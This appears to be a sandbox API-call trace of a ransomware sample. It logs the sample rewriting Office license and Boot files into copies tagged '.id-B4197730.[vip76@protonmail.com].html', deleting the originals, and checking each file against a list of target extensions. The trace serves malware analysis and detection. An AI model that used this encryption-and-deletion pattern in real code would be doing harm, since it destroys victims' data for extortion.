	[0204.482] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial4-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484
	[0204.483] GetLastError () returned 0x0
	[0204.483] ReadFile (in: hFile=0x5d0, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x5f31, lpOverlapped=0x0) returned 1
	[0204.486] WriteFile (in: hFile=0x484, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x5f40, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x5f40, lpOverlapped=0x0) returned 1
	[0204.487] ReadFile (in: hFile=0x5d0, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0204.487] WriteFile (in: hFile=0x484, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x116, lpOverlapped=0x0) returned 1
	[0204.488] SetEndOfFile (hFile=0x484) returned 1
	[0204.488] CloseHandle (hObject=0x484) returned 1
	[0204.488] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.488] SetEndOfFile (hFile=0x5d0) returned 1
	[0204.491] CloseHandle (hObject=0x5d0) returned 1
	[0204.491] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0204.491] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial4-ppd.xrm-ms")) returned 1
	[0204.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ppd.xrm-ms") returned 83
	[0204.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ppd.xrm-ms") returned 83
	[0204.733] lstrlenW (lpString=".doc") returned 4
	[0204.733] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0204.733] lstrlenW (lpString=".docx") returned 5
	[0204.733] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0204.733] lstrlenW (lpString=".pdf") returned 4
	[0204.733] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0204.733] lstrlenW (lpString=".xls") returned 4
	[0204.733] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0204.734] lstrlenW (lpString=".xlsx") returned 5
	[0204.734] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0204.734] lstrlenW (lpString=".ppt") returned 4
	[0204.734] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0204.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ppd.xrm-ms") returned 83
	[0204.734] lstrlenW (lpString=".zip") returned 4
	[0204.734] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0204.734] lstrlenW (lpString=".rar") returned 4
	[0204.734] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0204.734] lstrlenW (lpString=".bz2") returned 4
	[0204.734] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0204.734] lstrlenW (lpString=".7z") returned 3
	[0204.734] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0204.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ppd.xrm-ms") returned 83
	[0204.734] lstrlenW (lpString=".dbf") returned 4
	[0204.734] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0204.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ppd.xrm-ms") returned 83
	[0204.734] lstrlenW (lpString=".1cd") returned 4
	[0204.734] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0204.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ppd.xrm-ms") returned 83
	[0204.734] lstrlenW (lpString=".jpg") returned 4
	[0204.734] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0204.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ppd.xrm-ms") returned 83
	[0204.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ppd.xrm-ms") returned 83
	[0204.734] lstrlenW (lpString=".doc") returned 4
	[0204.734] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0204.734] lstrlenW (lpString=".docx") returned 5
	[0204.734] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0204.734] lstrlenW (lpString=".pdf") returned 4
	[0204.734] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0204.734] lstrlenW (lpString=".xls") returned 4
	[0204.734] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0204.734] lstrlenW (lpString=".xlsx") returned 5
	[0204.735] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0204.735] lstrlenW (lpString=".ppt") returned 4
	[0204.735] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0204.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ppd.xrm-ms") returned 83
	[0204.735] lstrlenW (lpString=".zip") returned 4
	[0204.735] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0204.735] lstrlenW (lpString=".rar") returned 4
	[0204.735] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0204.735] lstrlenW (lpString=".bz2") returned 4
	[0204.735] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0204.735] lstrlenW (lpString=".7z") returned 3
	[0204.735] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0204.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ppd.xrm-ms") returned 83
	[0204.735] lstrlenW (lpString=".dbf") returned 4
	[0204.735] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0204.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ppd.xrm-ms") returned 83
	[0204.735] lstrlenW (lpString=".1cd") returned 4
	[0204.735] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0204.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ppd.xrm-ms") returned 83
	[0204.735] lstrlenW (lpString=".jpg") returned 4
	[0204.735] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0204.750] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0204.750] lstrlenW (lpString="O365SmallBusPremDemoR_BypassTrial180-ppd.xrm-ms") returned 47
	[0204.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremdemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434
	[0204.751] GetFileSizeEx (in: hFile=0x434, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=23860) returned 1
	[0204.751] CloseHandle (hObject=0x434) returned 1
	[0204.751] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremdemor_bypasstrial180-ppd.xrm-ms")) returned 0x220
	[0204.752] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremdemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0204.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremdemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434
	[0204.752] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.752] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremdemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0204.753] GetLastError () returned 0x0
	[0204.753] ReadFile (in: hFile=0x434, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x5d34, lpOverlapped=0x0) returned 1
	[0204.770] WriteFile (in: hFile=0x580, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x5d40, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x5d40, lpOverlapped=0x0) returned 1
	[0204.772] ReadFile (in: hFile=0x434, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0204.772] WriteFile (in: hFile=0x580, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x132, lpOverlapped=0x0) returned 1
	[0204.772] SetEndOfFile (hFile=0x580) returned 1
	[0204.772] CloseHandle (hObject=0x580) returned 1
	[0204.772] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.772] SetEndOfFile (hFile=0x434) returned 1
	[0204.775] CloseHandle (hObject=0x434) returned 1
	[0204.775] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0204.776] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremdemor_bypasstrial180-ppd.xrm-ms")) returned 1
	[0204.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ppd.xrm-ms") returned 97
	[0204.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ppd.xrm-ms") returned 97
	[0204.777] lstrlenW (lpString=".doc") returned 4
	[0204.777] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0204.777] lstrlenW (lpString=".docx") returned 5
	[0204.777] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0204.777] lstrlenW (lpString=".pdf") returned 4
	[0204.777] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0204.777] lstrlenW (lpString=".xls") returned 4
	[0204.777] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0204.777] lstrlenW (lpString=".xlsx") returned 5
	[0204.777] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0204.777] lstrlenW (lpString=".ppt") returned 4
	[0204.777] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0204.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ppd.xrm-ms") returned 97
	[0204.777] lstrlenW (lpString=".zip") returned 4
	[0204.777] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0204.777] lstrlenW (lpString=".rar") returned 4
	[0204.777] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0204.777] lstrlenW (lpString=".bz2") returned 4
	[0204.777] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0204.777] lstrlenW (lpString=".7z") returned 3
	[0204.777] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0204.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ppd.xrm-ms") returned 97
	[0204.777] lstrlenW (lpString=".dbf") returned 4
	[0204.777] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0204.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ppd.xrm-ms") returned 97
	[0204.777] lstrlenW (lpString=".1cd") returned 4
	[0204.777] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0204.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ppd.xrm-ms") returned 97
	[0204.778] lstrlenW (lpString=".jpg") returned 4
	[0204.778] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0204.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ppd.xrm-ms") returned 97
	[0204.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ppd.xrm-ms") returned 97
	[0204.778] lstrlenW (lpString=".doc") returned 4
	[0204.778] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0204.778] lstrlenW (lpString=".docx") returned 5
	[0204.778] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0204.778] lstrlenW (lpString=".pdf") returned 4
	[0204.778] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0204.778] lstrlenW (lpString=".xls") returned 4
	[0204.778] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0204.778] lstrlenW (lpString=".xlsx") returned 5
	[0204.778] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0204.778] lstrlenW (lpString=".ppt") returned 4
	[0204.778] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0204.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ppd.xrm-ms") returned 97
	[0204.778] lstrlenW (lpString=".zip") returned 4
	[0204.778] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0204.778] lstrlenW (lpString=".rar") returned 4
	[0204.778] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0204.778] lstrlenW (lpString=".bz2") returned 4
	[0204.778] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0204.778] lstrlenW (lpString=".7z") returned 3
	[0204.778] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0204.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ppd.xrm-ms") returned 97
	[0204.778] lstrlenW (lpString=".dbf") returned 4
	[0204.778] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0204.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ppd.xrm-ms") returned 97
	[0204.778] lstrlenW (lpString=".1cd") returned 4
	[0204.778] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0204.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ppd.xrm-ms") returned 97
	[0204.779] lstrlenW (lpString=".jpg") returned 4
	[0204.779] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0204.779] lstrlenW (lpString=".id-") returned 4
	[0204.779] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x673158 | out: hHeap=0x610000) returned 1
	[0204.779] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6bbd48 | out: hHeap=0x610000) returned 1
	[0204.779] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x3da0048 | out: hHeap=0x610000) returned 1
	[0204.779] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x3db0050 | out: hHeap=0x610000) returned 1
	[0204.780] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x3eae020 | out: hHeap=0x610000) returned 1
	[0204.785] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x673140 | out: hHeap=0x610000) returned 1
	[0204.785] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x44414a8
	[0204.785] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x44414a8, Size=0x20) returned 0x668470
	[0204.785] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x4441610
	[0204.785] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x4441610, Size=0x20) returned 0x668560
	[0204.785] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x746a0000
	[0204.785] GetProcAddress (hModule=0x746a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x746b6b30
	[0204.785] Wow64DisableWow64FsRedirection (in: OldValue=0x328ff50 | out: OldValue=0x328ff50*=0x1) returned 1
	[0204.785] lstrlenW (lpString="kernel32.dll") returned 12
	[0204.785] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x668560 | out: hHeap=0x610000) returned 1
	[0204.785] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0204.785] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x668470 | out: hHeap=0x610000) returned 1

Thread:
	id = 45
	os_tid = 0xdc4

	[0165.122] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10000) returned 0x3dc0938
	[0165.122] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10000) returned 0x3dd0940
	[0165.123] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x673170
	[0165.123] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x6) returned 0x6bbd78
	[0165.123] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x673188
	[0165.123] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x100000) returned 0x3fbb020
	[0165.126] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x673200
	[0165.126] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x673200, Size=0x20) returned 0x64d838
	[0165.126] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x673278
	[0165.126] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x673278, Size=0x20) returned 0x64d928
	[0165.126] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x746a0000
	[0165.126] GetProcAddress (hModule=0x746a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x746b6b30
	[0165.126] Wow64DisableWow64FsRedirection (in: OldValue=0x33cff50 | out: OldValue=0x33cff50*=0x0) returned 1
	[0165.126] lstrlenW (lpString="kernel32.dll") returned 12
	[0165.126] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x64d838 | out: hHeap=0x610000) returned 1
	[0165.126] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0165.126] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x64d928 | out: hHeap=0x610000) returned 1
	[0165.126] Sleep (dwMilliseconds=0x64) 
	[0165.350] Sleep (dwMilliseconds=0x64) 
	[0165.745] Sleep (dwMilliseconds=0x64) 
	[0166.012] Sleep (dwMilliseconds=0x64) 
	[0166.331] Sleep (dwMilliseconds=0x64) 
	[0166.652] Sleep (dwMilliseconds=0x64) 
	[0167.006] Sleep (dwMilliseconds=0x64) 
	[0167.319] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1
	[0167.319] lstrlenW (lpString="memtest.exe.mui") returned 15
	[0167.319] CreateFileW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0
	[0167.470] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=44960) returned 1
	[0167.470] CloseHandle (hObject=0x3c0) returned 1
	[0167.470] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui")) returned 0x20
	[0167.470] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\boot\\en-us\\memtest.exe.mui.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0167.470] CreateFileW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0167.470] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29
	[0167.470] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29
	[0167.470] lstrlenW (lpString=".doc") returned 4
	[0167.470] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0167.470] lstrlenW (lpString=".docx") returned 5
	[0167.470] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0167.470] lstrlenW (lpString=".pdf") returned 4
	[0167.470] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0167.470] lstrlenW (lpString=".xls") returned 4
	[0167.471] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0167.471] lstrlenW (lpString=".xlsx") returned 5
	[0167.471] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0167.471] lstrlenW (lpString=".ppt") returned 4
	[0167.471] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0167.471] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29
	[0167.471] lstrlenW (lpString=".zip") returned 4
	[0167.471] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0167.471] lstrlenW (lpString=".rar") returned 4
	[0167.471] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0167.471] lstrlenW (lpString=".bz2") returned 4
	[0167.471] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0167.471] lstrlenW (lpString=".7z") returned 3
	[0167.471] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0167.471] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29
	[0167.471] lstrlenW (lpString=".dbf") returned 4
	[0167.471] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0167.471] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29
	[0167.471] lstrlenW (lpString=".1cd") returned 4
	[0167.471] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0167.471] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29
	[0167.471] lstrlenW (lpString=".jpg") returned 4
	[0167.471] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0167.471] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29
	[0167.471] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29
	[0167.471] lstrlenW (lpString=".doc") returned 4
	[0167.471] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0167.471] lstrlenW (lpString=".docx") returned 5
	[0167.471] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0167.471] lstrlenW (lpString=".pdf") returned 4
	[0167.472] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0167.472] lstrlenW (lpString=".xls") returned 4
	[0167.472] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0167.472] lstrlenW (lpString=".xlsx") returned 5
	[0167.472] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0167.472] lstrlenW (lpString=".ppt") returned 4
	[0167.472] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0167.472] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29
	[0167.472] lstrlenW (lpString=".zip") returned 4
	[0167.472] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0167.472] lstrlenW (lpString=".rar") returned 4
	[0167.472] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0167.472] lstrlenW (lpString=".bz2") returned 4
	[0167.472] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0167.472] lstrlenW (lpString=".7z") returned 3
	[0167.472] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0167.472] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29
	[0167.472] lstrlenW (lpString=".dbf") returned 4
	[0167.472] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0167.472] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29
	[0167.472] lstrlenW (lpString=".1cd") returned 4
	[0167.472] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0167.472] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29
	[0167.472] lstrlenW (lpString=".jpg") returned 4
	[0167.472] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0167.472] Sleep (dwMilliseconds=0x64) 
	[0167.748] lstrcmpiW (lpString1=".ttf", lpString2=".html") returned 1
	[0167.748] lstrlenW (lpString="msyhn_boot.ttf") returned 14
	[0167.748] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msyhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474
	[0167.773] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=154427) returned 1
